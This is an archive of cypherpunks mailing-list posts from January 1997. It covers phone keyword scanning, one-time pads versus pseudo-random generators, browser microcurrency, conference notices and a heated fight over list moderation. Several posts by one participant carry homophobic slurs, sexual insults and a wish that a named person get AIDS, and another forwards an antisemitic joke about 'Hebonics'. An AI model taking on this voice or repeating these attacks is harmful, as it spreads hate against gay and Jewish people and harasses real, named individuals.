> I was talking to someone recently about the feasibilty of keyword-scanning
> phone conversations.  He thought it was probably still beyond the reach of
> current technology, I thought it wasn't (I gave a couple of references in a
> recent paper on government attitudes to crypto which indicate that it's being
> used right now by a number of governments).  Anyway, I've got bits and pieces
> of one or two papers here which people might find interesting.  The first one is:
> "Digital Circuit Techniques for Speech Analysis" by G.L.Clapper, presented at
>  the AIEE Winter General Meeting in January 1962.
> I've only got the first two pages of the paper here, I think the full thing
> might have been published in the IEEE Trans.Communications in about 1963.  This
> paper mentions a "digit recognizer" built at Bell Labs in 1952, and a Japanese
> voice-operated typewriter using 3,000 transistors and 6,000 diodes.  The paper
> goes on to describe a means of producing a "compact digital code expressing
> significant qualities of speech in a form suitable for machine utilization".
> This was in 1962!

Mae Brussell (daughter of I. Magnin chain founder) and later John Judge
have been writing about this and related subjects for more than 20
years now.  Check out "The John Judge Reader".





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 18 Jan 1997 09:29:40 -0800 (PST)
To: i.am.not.a.number@best.com
Subject: Re: [STATS] Cypherpunks-unedited subscriptions
In-Reply-To: <3.0.32.19970118090523.006ac2fc@best.com>
Message-ID: <32E10868.645A@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


i.am.not.a.number@best.com wrote:

> dang!  i forgot to change.
> what's the moderated list being called?
> which is this one?  yikes --- i've been paying attention
> to somether things.

> At 08:17 PM 1/17/97 -0800, you wrote:
> >Total subscribers for:

This is exactly the reason the jerks (Gilmore, Sandfort) CHANGED THE
NAME of the original list, and had the *moderated* list co-opt the
original name.

This is one of the oldest and most well-used national security tricks
in the book.  When I asked Gilmore about this, he ignored my question
and rambled on about some irrelevant thing.  Surprised?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 18 Jan 1997 09:39:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Keyword scanning/speech recognition
Message-ID: <3.0.32.19970118094021.006f0038@192.100.81.126>
MIME-Version: 1.0
Content-Type: text/plain


At 03:34 AM 1/19/97, pgut001@cs.auckland.ac.nz wrote:
>I was talking to someone recently about the feasibilty of keyword-scanning
>phone conversations.  He thought it was probably still beyond the reach of
>current technology, I thought it wasn't.

I once met a fellow who's company makes high performance key word scanning and speaker recognition products for use by governmental entities in analyzing voice communications. Unfortunately, I lost his business card.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: AaronH4321@aol.com
Date: Sat, 18 Jan 1997 06:52:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: One time pads and randomness?
Message-ID: <970118095118_1012184551@emout17.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Question:

I want to use a one time pad pased crypto system. I understand that the
randomness of the pad genorator is key to security(other than lossing the
keys). What I want to know is if I use a psuedo-RNG that maybe repeats its
self every 1000 characters and use it to only encrypt messagase that are
100's of charaters long, will this be a major security risk? 

Next question:

Say I create a 1 million character one time pad that passes all of the
randomness tests. It is "truely random". I place it on two computers. Now
when these two computers want to send email computer "A" grabs a chunk of the
one time pad  starting at a random point and encrypts it. It labels the email
with the random starting point and sends it to "B". There "B" moves to the
random point and begins decryption. During to process both computers mark
that section of the OTP used so that they don't retransmit with it. I realize
this has a limited amount of messages before it is used up. But would this be
secure? Any suggestions, complaints, big gapping holes I missed? 

Aaron....





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 18 Jan 1997 08:54:48 -0800 (PST)
To: BJORN2LUZE@prodigy.com (NATHAN MALLAMACE)
Subject: Re: Jewish English: Hebonics
In-Reply-To: <199701172152.QAA21520@mime4.prodigy.com>
Message-ID: <199701181651.KAA10265@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


See my extensive research on Sovonics also.

(look up article titled "Sovonics is equallanguage...", posted to
soc.culture.russian.moderated).

igor

NATHAN MALLAMACE wrote:
> 
> -------
> 
> http://pages.prodigy.com/VT/  look for the most updated link there...
> 
> 
> -------
> 
> If you have already read this, I suggest you PRINT IT this time and 
> delete it. If you HAVEN'T READ IT YET. Make a copy and post it on 
> some other mailing list. Read on... Wyane.
> 
> -
> 
> >>Jewish English or "Hebonics"
> >>
> >>The Encino School Board has declared Jewish English a second 
> language.
> >>Backers of the move say the district is the first in the nation to
> >>recognize Hebonics as the language of many of American Jews.  Here 
> are
> >>some descriptions of the characteristics of the language, and 
> samples
> >>of phrases in standard English and Jewish English.
> >>
> >>Samples of Pronunciation Characteristics
> >>
> >>Jewish English or "Hebonics" hardens consonants at the ends of 
> words.
> >>
> >>Thus, "hand" becomes "handt."
> >>
> >>The letter "W" is always pronounced as if it were a "V".  Thus
> >>"walking" becomes "valking"
> >>
> >>"R" sounds are transformed to a guttural utterance that is 
> virtually
> >>impossible to spell in English.  It is "ghraining", "algheady"
> >>
> >>
> >>Samples of Idiomatic Characteristics:
> >>
> >>Questions are always answered with questions:
> >>   Question: "How do you feel?"
> >>   Hebonics response: "How should I feel?"
> >>
> >>The subject is often placed at the end of a sentence after a 
> pronoun
> >>has been used at the beginning:  "She dances beautifully, that girl.
> "
> >>
> >>The sarcastic repetition of words by adding "sh" to the front is 
> used
> >>for emphasis.
> >>
> >>  mountains becomes "shmountains"
> >>  turtle becomes "shmurtle"
> >>
> >>
> >>Sample Usage Comparisons:
> >>
> >> Standard English Phrase             Hebonics Phrase
> >>
> >> "He walks slow"        -      "Like a fly in the ointment he 
> walks"
> >>
> >> "You're sexy"          -      (unknown concept)
> >>
> >>"Sorry, I do not know   -      "What do I look like, a clock?"
> >> the time"
> >>
> >> "I hope things turn    -      "You should BE so lucky"
> >> out for the best"
> >>
> >>"Anything can happen"    -     "It is never so bad, it can't get 
> worse"
> 
> 
> Interesting?
> Sorry, I wasn't the one who wrote this.. It's just interesting to me.
> 
> Nathan
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 18 Jan 1997 14:29:27 -0800 (PST)
To: cryptography@c2.net
Subject: 1997 Mac Crypto Conf registration
Message-ID: <v03007817af06a22a9a4c@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: mac-crypto@thumper.vmeng.com
Reply-To: Vinnie Moscaritolo <vinnie@webstuff.apple.com>
Mime-Version: 1.0
Precedence: Bulk
Date: Tue, 14 Jan 1997 11:33:11 -0800
From: Vinnie Moscaritolo <vinnie@webstuff.apple.com>
To: Multiple recipients of <mac-crypto@thumper.vmeng.com>
Subject: 1997 Mac Crypto Conf registration

-----BEGIN PGP SIGNED MESSAGE-----

hey all;

I have posted a registration webpage for the 1997 Mac Crypto
Conf
at http://www.vmeng.com/mc/conf.html


If you plan to give a talk there, I am looking for abtracts by
end of Jan

thanks

Vinnie Moscaritolo
http://www.vmeng.com/vinnie/
Fingerprint: 4FA3298150E404F2782501876EA2146A
- -------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: Pretty Safe Mail 1.0

iQCVAwUBMtvcsfMF2+rAU+UdAQFOogP/R1/WmmAi3oEgLsC1il1OKf+7jR9j4L5U
tAvhZIB6nyYpuHdP1fZ+/KfyCi4fYDmHIO4wVJo1BfbUtYL0YkIqzw/00JM8zfHR
Zm9pcjSo70EDZPuypYyH+t0RlXJZj1eU0KjhAtRGeeWxAhP686wWCvz8hW4f2VfX
uiLObXiqXiw=
=faEk
-----END PGP SIGNATURE-----




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://offshore.com.ai/fc97/
"If *you* don't go to FC97, *I* don't go to FC97"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 20 Jan 1997 08:29:46 -0800 (PST)
To: cryptography@c2.net
Subject: 1997 Mac Crypto Conf registration
Message-ID: <199701201629.IAA12901@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: mac-crypto@thumper.vmeng.com
Reply-To: Vinnie Moscaritolo <vinnie@webstuff.apple.com>
Mime-Version: 1.0
Precedence: Bulk
Date: Tue, 14 Jan 1997 11:33:11 -0800
From: Vinnie Moscaritolo <vinnie@webstuff.apple.com>
To: Multiple recipients of <mac-crypto@thumper.vmeng.com>
Subject: 1997 Mac Crypto Conf registration

-----BEGIN PGP SIGNED MESSAGE-----

hey all;

I have posted a registration webpage for the 1997 Mac Crypto
Conf
at http://www.vmeng.com/mc/conf.html


If you plan to give a talk there, I am looking for abtracts by
end of Jan

thanks

Vinnie Moscaritolo
http://www.vmeng.com/vinnie/
Fingerprint: 4FA3298150E404F2782501876EA2146A
- -------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: Pretty Safe Mail 1.0

iQCVAwUBMtvcsfMF2+rAU+UdAQFOogP/R1/WmmAi3oEgLsC1il1OKf+7jR9j4L5U
tAvhZIB6nyYpuHdP1fZ+/KfyCi4fYDmHIO4wVJo1BfbUtYL0YkIqzw/00JM8zfHR
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--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://offshore.com.ai/fc97/
"If *you* don't go to FC97, *I* don't go to FC97"







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 18 Jan 1997 10:52:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
In-Reply-To: <Pine.SUN.3.91.970118072302.29745A-100000@crl2.crl.com>
Message-ID: <eRJq1D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort <sandfort@crl.com> writes:

> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                           SANDY SANDFORT
>  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
>
> C'punks,
  ^
There's some confusion as to what this 'C' stands for. It stands
for "cocksucker", as in "Timmy Cocksucker May" -- not "crypto".

Q: How does Moderator Sandfart address a "cypher punks" meating?
A: "My fellow cocksuckers!"

> On Sat, 18 Jan 1997 paul@fatmans.demon.co.uk wrote:
>
> > ...but I must say the list has gone downhill sharply since
> > the start of the censorship.
>
> I guess this a classic case of seeing what you want to see.

E.g. there'll be no more "copyright violations" (aka "news spam") on
the moderated list. Can anyone suggest an appropriate place for it?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 18 Jan 1997 10:50:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
In-Reply-To: <199701180514.XAA00633@smoke.suba.com>
Message-ID: <DyJq1D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


snow <snow@smoke.suba.com> writes:

> > snow <snow@smoke.suba.com> writes:
> > > > I say we make people fly naked and ship their stuff via UPS ;).
> > >     >>shudder<<
> > >     No!. A clear case of the cure being worse than the disease...
> > Why. it might be fun - those long flight can be so boring with clothes on..
>
>      Rossanne Barr. Nude.
>
>      Sorry to ruin your dinner.

It's funny how the same punks who want to scroew their keys and restrict
their own free speach by moderating their mailing list, refuse to fly
nekkid for their own protection. I guess Pedro's views aren't representative.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 18 Jan 1997 10:52:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
In-Reply-To: <Pine.SOL.3.93.970118085515.26106A-100000@pegasus.montclair.edu>
Message-ID: <B9Jq1D4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Nurdane Oksas <oksas@asimov.montclair.edu> writes:

> On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> >
> > > On Fri, 17 Jan 1997, Dale Thorn wrote:
> > >
> > > > Dr.Dimitri Vulis KOTM wrote:
> > > > > snow <snow@smoke.suba.com> writes:
> > > > > > > I say we make people fly naked and ship their stuff via UPS ;).
> > > >
> > > > > >     >>shudder<<
> > > > > >     No!. A clear case of the cure being worse than the disease...
> > > >
> > > > > Why. it might be fun - those long flight can be so boring with clothe
> > > >
> > > > This one I really don't understand.  Cypherpunks lobbied heavily for
> > > > the Final Solution to Spamming and flaming, now along comes the perfect
> > > > solution to the airport security problem, and nobody's gonna go for it.
> > > >
> > > > Guess those old, out-of-shape guys don't want anybody laughing at them.
> > > > Besides, they can put all the clothes in the same plane's baggage
> > > > compartment.  And planes have those little blankets and pillows,
> > > > so what's the problem?
> > >
> > > 	Cold temps...
> >
> > What can naked people do to keep warm???
>
> 	steal blankets from nearby passenger..

I once saw a movie where they had a heroin (or cocaine?) processing lab
and everybody was supposed to work naked so it would be hard to steal
some of the product. Of course in the movie all the employees were good-
looking women (Oksas would have been the big star!).

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "T. O'Brien" <tobrien@comet.net>
Date: Sat, 18 Jan 1997 08:50:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <32E02B87.3B9A@comet.net>
MIME-Version: 1.0
Content-Type: text/plain


Your majordomo is malfunctioning.

 

Unsubscribe 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "T. O'Brien" <tobrien@comet.net>
Date: Sat, 18 Jan 1997 08:50:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <32E02BA5.AEE@comet.net>
MIME-Version: 1.0
Content-Type: text/plain


Unsubscribe 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 18 Jan 1997 10:52:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Newt's phone calls
In-Reply-To: <01BC04D2.80B01D40@s10-pm06.tnstate.campus.mci.net>
Message-ID: <PHkq1D6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Internaut <unde0275@frank.mtsu.edu> writes:

> >What does concern me is personal privacy. I don't want people tracking
> >my movements or purchasing patterns, so I prefer to use cash or
> >pseudonymous debit cards.
>
> How pseudonymous are debit cards?

In practice, a debit card must be tied to a bank account with a valid SS#.
You try something suspicious and the IRS will debit the account $500 and/or
freeze it.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "T. O'Brien" <tobrien@comet.net>
Date: Sat, 18 Jan 1997 08:50:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <32E02BB5.1874@comet.net>
MIME-Version: 1.0
Content-Type: text/plain


Unsubscribe 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 18 Jan 1997 10:52:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
In-Reply-To: <853575672.913152.0@fatmans.demon.co.uk>
Message-ID: <Jskq1D8w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


paul@fatmans.demon.co.uk writes:

> > > I suppose you want a special censored list where everyone who uses
> > > the word "fuck" in relation to your good self or any other member of
> > > this list you agree with has their posting cut?
> >
> > No, I don't want censored anything. "Cypher punks" have degenerated into
> > a moderated forum where those who dare criticize His Royal Majesty John
> > the Cocksucker and his court are forcibly unsubscribed, while all sorts
> > of vile insults directed at John's many "enemies" are encouraged.
>
> I quite agree, there is something most definitely wrong with this
> whole situation, still, at least there are some crypto-relevant
> people on the "cryptography" mailing list. cypherpunks still has worthwhile
> nuggets on it but I must say the list has gone downhill sharply since
> the start of the censorship.

I quite agree - a number of people stopped posting in protest when Cocksucker
Gilmore unsubscribed me because he didn't like the content of my articles.

Of course Paul "brute force attack on one-time pad" Bradley was one of the
pro-censorship goons who asked John to "remove" me from the mailing list.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 18 Jan 1997 10:50:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: your mail
In-Reply-To: <Pine.OSF.3.91.970118015312.31481B-100000@gaston.tenet.edu>
Message-ID: <eykq1D9w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dan Harmon <harmon@tenet.edu> writes:

> Too much free time.

A crontab deamon has all the time in the world.

> 		Surf'n the singularity.
>
> On Sat, 18 Jan 1997, Bovine Remailer wrote:
>
> > Timothy May's obsessive masturbation has lead to
> > advanced degree of blindness and hairy palms.
> >
> >        ___
> >      \/   \/
> >      |_O O_| Timothy May
> >       | ^ |
> >      / UUU \
> >
> >


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 18 Jan 1997 10:17:01 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: your mail
In-Reply-To: <32E02BA5.AEE@comet.net>
Message-ID: <199701181810.MAA10982@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


T. O'Brien wrote:
> ------------438F2CA70B04
> Content-Transfer-Encoding: 7bit
> Content-Type: text/html; charset=us-ascii
> 
> <HTML><BODY>
> 
> <DT>Unsubscribe&nbsp;</DT>
> 
> </BODY>
> </HTML>
> ------------438F2CA70B04--
> 

Here's a shell script that i wrote to help people like Prof. OBrien.

#!/bin/sh

if [ "x$1" = "x" ] ; then
  echo Usage: $0 email 1>&2
  exit 1
fi

/usr/sbin/sendmail -f $1 majordomo@toad.com << __EOB__
Subject: unsubscribe
From: $1
To: majordomo@toad.com

unsubscribe cypherpunks
__EOB__




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 18 Jan 1997 10:52:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Gilmore and Sandfart suck big dicks
Message-ID: <4Lmq1D13w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Someone wrote to me:

>Did you not mean any homo who has ever shaffted Gilmore and Sandy can
>write what the fuck they like but straight or intelligent or NORMAL
>people will have to be filtered.

Yes, that's precisely how Sandfart's moderation will work. Homosexuals
like Jason Durbin will continue to post personal attacks on Gilmore's
many "enemies", but the victims of the libel will not be able to respond
and refute their lies. The concept of "the best response to speech you
don't like is more speech" is totally alien to the homosexual subculture
on the Internet. These control freaks are into censorship and B&D.

>I realize that normal people are few and far between in cypher punks.

There may be quite a few normal and knowledgeable people left among the
subscribers, but most posters are indeed militant homosexual censors
who don't care about crypto except to drop a few "kewl" phrases - like
Paul Bradley's infamous "brute-force attack on one-time pads".

>I am NOT a cypher-punk and I hope that you do not class me as one, I am
>merely interested in cryptography and believe it or not I actually pick
>up tips every now and again from the list.

I'm sure you're not a "cypher punk" - you're both too smart and too
straight. :-) A while back I saw an announcement of a "cypher punks"
meating where Jim Bell was explicitly disinvited, and I announced that
I don't consider myself a "cypher punk". Jim Bell is a pro-censorship
asshole, but I will defend his freedom of speech nevertheless.

Occasional tidbits of useful information do still appear on this list.

>I am against moderation on the list and I aggree that Gilmug is a lying
>cocksucker. Please bear in mind that not everyone on the list is a
>"jew-hating" faggot with nothing but shit between their ears.

I wholeheartedly agree - however anyone who describes himself as a
"cypher punk", after John Gilmore's dishonorable actions, probably is.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Sat, 18 Jan 1997 13:05:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: microcurrency: Netscape vs. Microsoft
Message-ID: <199701182105.NAA13618@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


it seems that microcurrency has still not hit the "big time"
yet. or perhaps some people see otherwise. what is the evidence
for how far it has penetrated ala DigiCash etc? I haven't seen
much myself.

I predict that microcurrency will not catch on in a big way
until it is integrated with browsers, and when it is, it
will be adopted in an insanely large rush like the way
the web itself caught on with the GUI (and was mostly comatose
before it).  

I'd like to have seen microcurrency catch on like a brushfire
at this point, and was trying to figure out why it hadn't,
and focused on the above key aspect.

hence, I wonder: 

WHO WILL BE THE FIRST TO INCORPORATE A MICROCURRENCY
FEATURE IN THEIR BROWSER, MICROSOFT OR NETSCAPE?

why am I shouting? because I hope that we can create
a buzz around this question, to the point that both
manufacturers begin to realize how much is at stake
in this single little feature. I'd like to see speculation
and articles about it in the trade press.  let it turn
into a hot topic of conversation..

do either MS or Netsacpe have plans to
do so right now? I suspect the future of the browser
wars will belong to he who does the microcurrency feature.

here's how it might work: the browser has an internal
piggyback that can be filled up with cash. it has various
features that prohibit a charge of greater than some
fixed limit of being made, per time, per site etc... also
in no case can more money than is currently in the piggy
bank be charged. once the charge hits, there is no
contesting allowed, because the charge is so low. a little
bar on the user interface could indicate how much cash
is left. 

the idea would also be to invent some new html tags that
indicate the charge on a link. the charge is incurred when
1/2 of the page is sent (there would be all kinds of hacks
in which people could retrieve only part of a page to avoid
the charge, hence this limit or some variation thereof).
so when I move my mouse over a link in the browser, I see
not only its address as with Netscape's, but also some 
charge that will incur when I hit it. there could be color
coding and little graphics for costs also.

notice how much crypto really caught on when Netscape 
incorporated it, and how this action alone did more for
the proliferation of crypto in cyberspace, almost, than
all prior efforts combined. I think that microcurrency
will be unleashed in a very similar way.

the system I describe above can be built up pretty easily
from existing technology such as DigiCash. pretty much
all the major ingredients are available.. it's just a matter
of time before some enterprising programmers plug it all
together in an easy to use way. (as far as I know the
Digicash software is not easily integrated with any browser,
am I correct?)

by framing the question as I have above, the question is
no longer "how should microcurrency be implemented", or
"should it be", but "who will be the first to do it?", 
a nice competitive incentive to the key companies involved.

so, Netscape, Microsoft, are either of you listening? do you
have any idea how much is riding on this option? are you
working on it right now? if not, are you prepared to face
the consequences? has anyone heard any rumors about their
intention to implement microcurrency? 

I've long predicted some pretty revolutionary strides
in cyberspace that will make all development up to now
look pretty sickly and pale, when microcurrency is invented
and brought into a trivial-to-use GUI.  in a sense it is the
the economic system that the whole industry (or even the
whole world) has been waiting for ever since its beginning.
it will unleash a torrent of frenzied innovation and reorganization
beyond what anyone has ever seen or thought possible.

p.s. has anyone done a plugin that handles cash in the way
I am referring to? this may be a really neat way for 
third-party developers to cash in on this, but I suspect
that it's so crucial that the browser manufacturers will
eventually incorporate it themselves.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: AIDAS <aidas@ixsrs4.ix.netcom.com>
Date: Sat, 18 Jan 1997 11:10:59 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
In-Reply-To: <853575672.913152.0@fatmans.demon.co.uk>
Message-ID: <Pine.LNX.3.95.970118130638.8690A-100000@ixsrs4.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 18 Jan 1997 paul@fatmans.demon.co.uk wrote:

> 
> > > I suppose you want a special censored list where everyone who uses
> > > the word "fuck" in relation to your good self or any other member of
> > > this list you agree with has their posting cut?
> > 
> > No, I don't want censored anything. "Cypher punks" have degenerated into
> > a moderated forum where those who dare criticize His Royal Majesty John
> > the Cocksucker and his court are forcibly unsubscribed, while all sorts
> > of vile insults directed at John's many "enemies" are encouraged.
> 
> I quite agree, there is something most definitely wrong with this 
> whole situation, still, at least there are some crypto-relevant 
> people on the "cryptography" mailing list. cypherpunks still has worthwhile 
> nuggets on it but I must say the list has gone downhill sharply since 
> the start of the censorship.
> 
>        Paul Bradley, Paul@fatmans.demon.co.uk

Um, Paul? I hate to break it to you, but they're not moderating yet. If
they were, we wouldn't get as much slime as we do on the list. 

Personally, I wish they'd hurry up. I'm getting rather annoyed with the
spam, the "you're all homosexuals" postings, the posts by morons that
can't figure out Majordomo or their mailers, and so on and so forth. 

So I ask you this: If the moderation isn't yet implemented, then how has
it "gone down sharply since the start of the censorship [which hasn't been
done yet]?" 

<sarcasm> I just can't wait to see what kind of witty comment Dimitri will
have on the first and second paragraphs of my response. </sarcasm>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blake Coverett <blake@bcdev.com>
Date: Sat, 18 Jan 1997 10:31:35 -0800 (PST)
To: "'Cypherpunks'" <cypherpunks@toad.com>
Subject: RE: One time pads and randomness?
Message-ID: <01BC0543.DBB9DCF0@bcdev.com>
MIME-Version: 1.0
Content-Type: text/plain


> I want to use a one time pad pased crypto system. I understand that the
> randomness of the pad genorator is key to security(other than lossing the
> keys). What I want to know is if I use a psuedo-RNG that maybe repeats its
> self every 1000 characters and use it to only encrypt messagase that are
> 100's of charaters long, will this be a major security risk? 

I'm afraid you've fallen into one of the standard traps.  A PRNG can *not*
make a OTP no matter how you use it.  

The total amount of entropy in a PRNG is the amount of entropy in the seed 
you use to key it.  All the other bits are directly derived from that seed.

A true OTP is completely secure from an information-theory point of view
because every byte has a full eight bits of entropy.  A PRNG can never
have this.

Having said all this, it is possible to make a good cipher from a PRNG.
RC4, for example, is exactly that and the variable sized key is the
seed for the PRNG.  It is however very difficult to come up with a
good algorithm for that cryptographically sound PRNG and you would
be much further ahead to use an existing one rather that trying to
roll your own.

> Say I create a 1 million character one time pad that passes all of the
> randomness tests. It is "truely random". I place it on two computers. Now
> when these two computers want to send email computer "A" grabs a chunk of the
> one time pad  starting at a random point and encrypts it. It labels the email
> with the random starting point and sends it to "B". There "B" moves to the
> random point and begins decryption. During to process both computers mark
> that section of the OTP used so that they don't retransmit with it. I realize
> this has a limited amount of messages before it is used up. But would this be
> secure? Any suggestions, complaints, big gapping holes I missed? 

I don't see anything wrong as such, but there is nothing to be gained either.
If your random data is real OTP material there is no need to skip to a random
byte within it, just start at the beginning and use it in sequence.  If your random
data is the output of a PRNG like the above then random starting point doesn't
buy you much additional security because the entire set of keying material can
be recreated from the seed.  It may increase the work-factor of searching for
the key, but it also imposes the practical problem of keeping all that keying
material secure.

More importantly don't confuse statistically random with cryptographically
random.  Just because a bunch of bits passes all the randomness test
you can think of doesn't mean it contains 100% entropy.  Consider the
digits of an irrational number like sqrt(2) or pi, the digits appear statistically
random but they can be recreated from just a tiny bit of knowledge.

A good litmus test is to ask yourself if there is any way you can
reproduce those bits.  If there is, they aren't a one time pad.
(Of course even if you can't it doesn't mean they are good. :-)

regards,
-Blake





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 18 Jan 1997 11:20:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Repeal the 9th Amendment?
In-Reply-To: <1.5.4.32.19970118135359.0068ca28@pop.pipeline.com>
Message-ID: <HJqq1D20w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


John Young <jya@pipeline.com> writes:

> Why not just repeal the forgotten Ninth Amendment
...
> Mr. Ray is chairman of the Dade County Libertarian Party Organization.

This Jim Ray shyster is also a pathological liar and probably a faggot.
I hope Sandfart and Gilmore give him AIDS.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 18 Jan 1997 11:20:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
In-Reply-To: <Pine.SOL.3.93.970118085515.26106A-100000@pegasus.montclair.edu>
Message-ID: <ymqq1D21w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Nurdane Oksas <oksas@asimov.montclair.edu> writes:

> On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
>
